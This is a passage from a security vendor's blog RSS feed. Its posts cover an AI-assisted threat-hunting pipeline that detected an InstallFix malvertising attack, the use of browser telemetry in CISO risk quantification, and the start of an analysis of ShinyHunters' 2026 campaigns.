Push gets the greatest coverage of the highest-impact threats, on managed and unmanaged devices, with the lightest operational footprint. That is the browser security investment that moves the needle on real organizational risk — not the browser security investment that defends the software nobody&#39;s actually attacking.</p><p></p>]]></content:encoded>
    </item>
    <item>
      <title>Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline</title>
      <link>https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline</guid>
      <pubDate>Tue, 12 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Kelly Davenport</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.</description>
      <content:encoded><![CDATA[<p>In March, our threat hunting engine flagged something it hadn’t seen before.</p><p>Our research team had already been tracking the growing use of <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis">malvertising</a> tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.</p><p>To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. <i>But how to separate signal from noise?</i></p><p>Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.</p><p><b>Of those, one was novel. </b></p><p>A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)</p><p><b>We had found our first in-the-wild </b><a href="https://pushsecurity.com/blog/installfix"><b>InstallFix attack</b></a><b>.</b></p><p>Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. </p><p>Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. </p><p>That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.</p><p><b>So, can AI agents replace human threat researchers?</b> That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.</p><p>In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. </p><p>We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.</p><hr/><h1><b>Why scaling browser threat detection requires more than more analysts</b></h1><p>Already this year, we’ve <b>tripled</b> the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.</p><p>Push’s R&amp;D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix">Browser &amp; Identity Attacks Matrix</a> in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. </p><ul><li><p>We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. </p></li><li><p>We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in <a href="https://pushsecurity.com/blog/device-code-phishing">device code phishing attacks</a> across our install base. </p></li><li><p>We were also the first to detect a novel post-authorization attack we dubbed <a href="https://pushsecurity.com/blog/consentfix">ConsentFix</a> that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective <a href="https://pushsecurity.com/blog/installfix">InstallFix technique</a> described earlier; and detected an array of other <a href="https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs">creative</a> <a href="https://pushsecurity.com/blog/cyber-criminal-ecosystem-analysis">phishing</a> <a href="https://pushsecurity.com/blog/uncovering-a-calendly-themed-phishing-campaign">campaigns</a> tied to malvertising scams.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/L0Yc77y9vzrKVD72BQGX2/4ffe0bf61bd62f025262b8efd74394b7/Browser___Identity_Attacks_Matrix__1_.png" alt="Browser &amp; Identity Attacks Matrix"/><figcaption>Browser and identity-based techniques have exploded since we first launched our attack matrix</figcaption></figure><p>With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.</p><p>Push researchers are seeing <a href="https://pushsecurity.com/blog/inside-criminal-phishing-panel/">extensive evidence of LLM use</a> in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. </p><p>In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.</p><h2><b>Scaling behavioral detections, not just making bigger blocklists</b></h2><p>But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.</p><p><b>If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. </b>They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. </p><p>Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png" alt="Sample detection - blog article - custom branding"/><figcaption>Sample detection details in the Push admin console for a blocked phishing event</figcaption></figure><p>Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)</p><p><b>All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the </b><a href="https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters"><b>Pyramid of Pain</b></a><b>, the indicators that are hardest for attackers to change.</b></p><p>This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. </p><p>We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. </p><p><a href="https://www.youtube.com/watch?v=F5Qv-su0qQA">Watch: Adam Bateman: Agentic AI is a Force Multiplier</a></p><hr/><h1><b>Core principles for agentic threat hunting</b></h1><p>Three principles make Push&#39;s agentic threat hunting and detection engineering pipeline work:</p><h2><b>Context matters more than custom models</b></h2><p>We’re not AI researchers; we’re security researchers — we aren&#39;t trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.</p><p>So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over <b>3 million browsers worldwide</b>, and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.</p><p>This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. </p><p>This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.</p><h2><b>Agents are only as good as the context you give them. Good context is researcher-led</b></h2><p>AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.</p><p>When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.</p><h2><b>Integrated architecture that makes agentic AI the throughput layer, not a bolt-on</b></h2><p>The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.</p><p>This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.</p><hr/><h1><b>How the agentic detection pipeline runs</b></h1><p>Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We&#39;ll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. </p><h2><b>Example 1: Autonomous threat hunt</b></h2><p>Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. </p><p>The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. </p><p>The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.</p><p>Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.</p><h2><b>Example 2: Human-initiated threat hunt</b></h2><p>Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.</p><p>Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like <b>*pages.dev</b>, <b>*workers.dev</b>, <b>*squarespace.com</b>, etc.</p><p>Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.</p><p>The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png" alt="Dissect agent output - agentic threat hunting blog"/><figcaption>Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.</figcaption></figure><p>We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.</p><h2><b>What infrastructure is needed for agentic threat hunting?</b></h2><p>Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:</p><ul><li><p><b>A flight recorder: </b>The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.</p></li><li><p><b>A knowledge base:</b> Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.</p></li><li><p><b>Agents as tools: </b>Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.</p></li><li><p><b>Humans in the loop: </b>Human researchers who collaborate with agents to initiate hunts and tune detections.</p></li><li><p><b>Platform controls: </b>The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png" alt="Detection engine diagram - agentic threat blog"/><figcaption>The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.</figcaption></figure><h2><b>What are the best practices for agentic threat detection?</b></h2><p>To be effective, agents must specialize and focus. This is the <b>agents as tools</b> concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.</p><p>Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.</p><p>Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.</p><p>Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. </p><p>It&#39;s vital too that the agent uses <b>privacy-preserving methods and infrastructure.</b> The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.</p><hr/><h1><b>The compounding effect and how it benefits Push customers</b></h1><p>At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. </p><p>The outer loop feeds the inner loop, and vice versa.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png" alt="Learning loops diagram - agentic threat blog"/><figcaption>Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.</figcaption></figure><p>Customers benefit from this approach because it means they:</p><ul><li><p>Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own <a href="/help/audience/engineering/resources/custom-detections">custom detections</a>, too, for environment-specific use cases.)</p></li><li><p>Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.</p></li><li><p>Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.</p></li></ul><p>This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.</p><p>If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. </p><p>If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.</p><hr/><h1><b>Learn more</b></h1><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.</p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.</p><p>Book a <a href="/demo">live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>The CISO's data problem (and how browser telemetry can help)</title>
      <link>https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help</guid>
      <pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Mark Orlando</dc:creator>
      <category>Risk management</category>
      <category>Detection &amp; response</category>
      <description>How CISOs can use browser telemetry to support cyber risk quantification in areas where traditional data points fall short. </description>
      <content:encoded><![CDATA[<h1><b>The quantification problem nobody talks about</b></h1><p>I was recently teaching <a href="https://www.sans.org/cyber-security-courses/cybersecurity-leaders/">SANS LDR551</a>, where we cover some of the flawed approaches used in risk measurement and prioritization — for example, presenting ordinal data in a risk matrix as ratio data, implying that the matrix represents quantitative analysis when it’s more of a best guess. We then look at modeling using <a href="https://en.wikipedia.org/wiki/Loss_exceedance_curve">Loss Exceedance Curves</a> as a more accurate, if much more difficult, approach to quantitative risk assessment.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2bkhvxg1zeLZnrTyzQXQjd/58cfb711a8825b5861a47ef18db8b661/image1.png" alt="Risk Matrix-style risk modeling versus Loss Exceedance Curve."/><figcaption>Risk Matrix-style risk modeling versus Loss Exceedance Curve.</figcaption></figure><p>The only problem is, we rarely have the time or the data to construct such models. Ask a CISO how they measure risk for credential compromise and other account takeover attacks, and the answer will probably include one or more of the following: a risk assessment, a whiteboard, and a room full of smart people making educated guesses about attack frequency and control strength. </p><p>That isn&#39;t a criticism — for most risk scenarios, expert elicitation is the best (and most convenient) available method. Breach cost data is sparse, threat actor behavior is unpredictable, and internal incident history is (ideally!) a limited sample. Quantitative risk frameworks like <a href="https://www.fairinstitute.org/">FAIR</a> give structure to that uncertainty, but they can&#39;t conjure data that just doesn&#39;t exist.</p><p>The results are usually estimates with wide confidence intervals and loss distributions that appear precise, but are hard to defend to a CFO or a board. Finance leaders have seen Monte Carlo simulations before; the capable ones will challenge the quality of the outputs if they doubt the quality of the inputs. <b>But with the right telemetry, we can get both</b>.</p><hr/><h1><b>Why the identity attack surface is uniquely measurable</b></h1><p>We&#39;ve written extensively about the shift to identity as a primary attack vector — and the evidence continues to stack up. Credential phishing, device code phishing, ClickFix, adversary-in-the-middle attacks, session hijacking, and SaaS account compromise now account for the majority of breach entry points in most enterprise environments. But the silver lining here is that this shift has created something valuable for risk quantification: <i>a highly observable threat surface</i>.</p><p>Identity attacks execute <a href="https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/"><u>in the browser</u></a>. They leave traces in authentication flows, login behaviors, OAuth integrations, extension activity, and SaaS access patterns — all of which are captured in real time by the Push extension. Unlike network or endpoint attacks, where the signal is often binary and retroactive, browser-based identity threats generate continuous, high-frequency telemetry that maps directly onto the inputs that drive quantitative risk models.</p><p>This telemetry directly informs the hardest inputs in any quantitative risk model. One is <b>Threat Event Frequency (TEF)</b>: how often a threat agent acts against an asset in a given period. For identity risks, this can be answered in how many credential phishing attempts reached your users across all delivery channels (social media, email, malvertising, etc.), or how frequently your users authorize malicious or compromised SaaS apps. Browser-level telemetry can answer these questions with <i>observed</i> data rather than industry lookups and general benchmarks. </p><p>Models that estimate TEF without factoring in browser-borne attacks are systemically undercounting. One key example of this is email-delivered phishing data. Roughly 1 in 3 phishing payloads intercepted by Push are delivered outside of email, meaning an email-only risk assessment is missing the attacks happening over channels like social media, search ads, and messaging apps that most risk models ignore entirely — places where the success chance is far higher because of the lack of control (and because users don&#39;t expect it). </p><p>The other input to risk modeling that&#39;s difficult to express in concrete terms is <b>vulnerability</b>: the probability a threat becomes a loss event or, more specifically, how likely it is that your controls will fail. </p><p>This is where browser telemetry gets especially concrete. <a href="https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/">Analysis of login telemetry across Push-monitored environments</a> shows that 1 in 4 logins are still password-only (not SSO), 2 in 5 are not protected by MFA, and 1 in 5 use a weak, breached, or reused password. Many of these logins occur outside the visibility of a central IdP platform like Microsoft, Google or Okta — the result of downstream <a href="https://pushsecurity.com/blog/ghost-logins-when-forgotten-identities-come-back-to-haunt-you/">ghost logins</a>. </p><p><b>There are many examples of ghost logins being exploited by attackers in the wild, but the landmark case remains 2024&#39;s </b><a href="https://pushsecurity.com/blog/snowflake-retro/"><b>Snowflake breach</b></a><b>, in which 165 organizations were breached using compromised credentials that had been sitting online since 2020. MFA was missing in every case. </b></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/67iyvaMRSinyWAPqNFRity/5650febed866df4656160006d7415588/Frame_1__2_.png" alt="Data from Push login telemetry across customer environments."/><figcaption>Data from Push login telemetry across customer environments.</figcaption></figure><p>In a FAIR-based model, TEF and vulnerability together determine <b>loss event frequency</b>: the foundational driver of the entire risk calculation. Using telemetry from your own environment as the basis for these calculations makes them far more accurate, and more likely to stand up to scrutiny.</p><hr/><h1><b>The attack surface is bigger than most models assume</b></h1><p>One of the consistent failures in identity risk modeling is the tendency to model risks defenders can see, and leave the rest off the balance sheet. These omissions create a systematic understatement of exposure that browser-based telemetry can offset.</p><h2><b>Shadow AI and OAuth sprawl</b></h2><p><a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/"><u>The Vercel breach in April 2026</u></a> was the result of an OAuth connection to a third-party AI SaaS tool a developer connected into the organization&#39;s Google Workspace tenant (without admin approval). When the AI vendor was compromised, the attacker leveraged stored OAuth tokens to access downstream accounts, ultimately reaching internal dashboards, API keys, and source code. </p><p>Push telemetry across customer environments shows an average of <b>17 unique AI app integrations per organization in Microsoft and Google alone</b>, most of which security teams would describe as unapproved. These generally don&#39;t appear in a conventional risk model that isn&#39;t looking for them.</p><h2><b>Browser extensions</b></h2><p><b></b><a href="https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach/"><b><u>Analysis of 20,000 unique extensions deployed across Push customer environments</u></b></a><b> found that 46.76% have the permission combinations required for account takeover without user interaction. </b>The extensions carrying these permissions aren&#39;t flagged by risk scoring systems because the same permissions are used by ad blockers, password managers, and translation tools (the downside of relying on tools that rely on dubious scoring to assess extensions, but I digress). </p><p>What matters for risk quantification isn&#39;t the permission set or an arbitrary score assigned by a vendor; it&#39;s whether the monitoring exists to detect when a previously-clean extension changes ownership, escalates permissions, or behaves anomalously. Without that monitoring, the exposure is real but unquantified.</p><h2><b>ClickFix and non-email delivery channels</b></h2><p>ClickFix — where a malicious page silently writes a PowerShell or mshta command into the victim&#39;s clipboard and instructs them to paste it — was <a href="https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf">the most common initial access vector observed by Microsoft in 2025</a>, and CrowdStrike reported a<a href="https://www.crowdstrike.com/explore/2026-global-threat-report"> 563% increase in fake CAPTCHA lures</a> (one of the most common ClickFix styles in which the user has to &quot;verify they&#39;re human&quot; by running a command on their machine). </p><p>What makes this particularly relevant for risk quantification is the delivery channel: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines, not email. A risk model that estimates threat event frequency from email-based phishing telemetry alone is structurally blind to an entire category of attack that has become one of the most prevalent initial access methods in the landscape.</p><h2><b>Authorization attacks</b></h2><p>Device code phishing and OAuth consent abuse represent a slightly separate category of identity attack that most risk models don&#39;t account for because they operate after the authentication flow has already completed — meaning password strength, MFA coverage, and SSO adoption are irrelevant to whether the attack succeeds. </p><p>Push has tracked a <a href="https://pushsecurity.com/blog/device-code-phishing/">37x increase in device code phishing attacks since the start of 2026</a>, with at least 12 distinct kits now offering the technique, while established AiTM vendors like Tycoon are now adding authorization-focused options alongside their existing session token and credential harvesting capabilities. </p><p>Device code phishing has featured heavily in <a href="https://pushsecurity.com/blog/analyzing-the-instructure-breach/">ShinyHunters campaigns</a> in 2025 and 2026 along with AiTM phishing and OAuth token abuse, often paired with voice-based lure delivery that misses traditional endpoint controls (but inevitably leads the victim to a webpage in the browser where the payload is delivered). </p><hr/><h1><b>The key lesson for CISOs</b></h1><p>A risk model that measures identity vulnerability purely in terms of authentication hygiene at the IdP layer — how many accounts have MFA, how many use SSO — will correctly quantify one dimension of exposure while completely missing another that is growing faster and is structurally immune to the controls being measured.</p><p><b>For a CISO building a risk model, these aren&#39;t edge cases. They represent a real attack surface that doesn&#39;t show up in models built on conventional network, endpoint, and cloud telemetry. We aren&#39;t just talking about better inputs to risk modeling — we&#39;re talking about entirely new risk scenarios that aren&#39;t being modeled at all, supported by live data.</b></p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1hpJGD6oVLcvalCTuFBia3/547b689a199b5b4ac3b2e7ddb9f3079d/blog-inline-fair-model-v4_1.png" alt="Precision improvements with browser telemetry."/><figcaption>Precision risk assessment improvements with browser telemetry.</figcaption></figure><hr/><h2><b>Browser telemetry makes a CISO&#39;s life easier</b></h2><p>Browser-based telemetry changes the conversation a CISO can have with a CFO or board. Instead of &quot;industry benchmarks suggest our expected annual loss from account compromise is somewhere in this range,&quot; the answer is, &quot;We can see how often these attacks are attempted against our users, and we can measure what percentage of our accounts have the controls in place to stop them,&quot; or &quot;We know how many shadow AI apps our users self-provision and share data with each month.&quot; </p><p>Identity risk is only a piece of the quantification problem. Loss magnitude, regulatory exposure, and reputational impact are still extremely hard to estimate regardless of how good your frequency inputs are. </p><p>But the identity attack surface is one of the few areas in security where measurement is genuinely achievable right now, and the gap between what most organizations are modeling and what&#39;s actually observable is significant. Shadow SaaS integrations, unapproved AI connections, browser extensions with excessive privileges — these are enumerable risks that don&#39;t appear in models built on network, endpoint, and cloud access telemetry alone. </p><p><b>The lesson for CISOs serious about quantitative risk management is this: the frameworks exist, the talent is available, and the bottleneck is almost always data quality. </b>Browser telemetry is a good example of the kind of high-fidelity, environment-specific measurement that closes that gap.</p><hr/><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. </p><p>Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see. <a href="https://pushsecurity.com/book-demo/">Book a live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>The three attack techniques behind ShinyHunters' 2026 campaigns </title>
      <link>https://pushsecurity.com/blog/analyzing-the-instructure-breach</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/analyzing-the-instructure-breach</guid>
      <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>ShinyHunters' breach of Instructure is the latest in a long series of attacks. Here's our view of the big picture. </description>
      <content:encoded><![CDATA[<p>ShinyHunters and the broader SLH (<a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Lapsus$ Hunters</a>) collective have claimed breaches at thousands of organizations over the past twelve months across retail, technology, aviation, financial services, media, gaming, and education, in what amounts to the most sustained data theft and extortion operation in recent cybercrime history. SLH&#39;s genealogy traces through a merger of Scattered Spider, Lapsus$, and ShinyHunters, all parts of <b>the Com</b>, a broader community of English-speaking cybercriminals with international links. </p><p>The confirmed victim list reads like a Fortune 500 directory: Coca-Cola, Cisco, Qantas, Coinbase, ADT, Aflac, SoundCloud, Rockstar Games, Charter Communications, and recently <a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-data-breach-shinyhunters-claims-attack/">Instructure</a> — whose breach <a href="https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/">disrupted schools and universities nationwide</a> during final exams — among dozens more named publicly and likely many more that haven&#39;t been (breaches settled quickly behind closed doors don&#39;t always make it into the public eye). ShinyHunters alone claimed over 1.5 billion stolen Salesforce records from a single campaign targeting more than 1,000 organizations.</p><p>Additional operating clusters, including Cordial Spider and Snarky Spider (which CrowdStrike <a href="https://cyberscoop.com/crowdstrike-cordial-spider-snarky-spider-extortion-attacks/">characterizes as the new generation of Scattered Spider</a>) run parallel campaigns against different target sectors, unified not by shared infrastructure but by a shared playbook of techniques that exploit the structural weakness in modern SaaS-first organizations. <a href="https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-03-12-Vishing-Campaigns-Lead-to-Data-Theft-and-Extortion.txt">Unit 42 documented</a> these groups moving from initial compromise to complete data exfiltration in under an hour — faster than most organizations can even begin to respond. Newer groups with links to the SLH ecosystem like CoinbaseCartel have also continued the tradition of weaponizing stolen credentials from the infostealer economy at scale, as ShinyHunters did in the <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/">2024 Snowflake breach</a> that compromised over 165 customer environments (and claimed another billion-plus records).</p><p>Not every SLH breach is browser-based — the Instructure breach (275 million individuals, ~330 school login portals defaced) began with a Salesforce tenant compromise in September 2025, but resurfaced in May 2026 after attackers exploited a <a href="https://www.bitdefender.com/en-gb/blog/businessinsights/technical-advisory-shinyhunters-breach-instructure-canvas-lms">vulnerability affecting Canvas&#39;s Free-For-Teacher program</a> (it&#39;s now been confirmed that Instructure &quot;<a href="https://www.instructure.com/incident_update">reached a settlement</a>&quot; for the deletion of the data, and shut down the free account tier), while the Coinbase breach cost <a 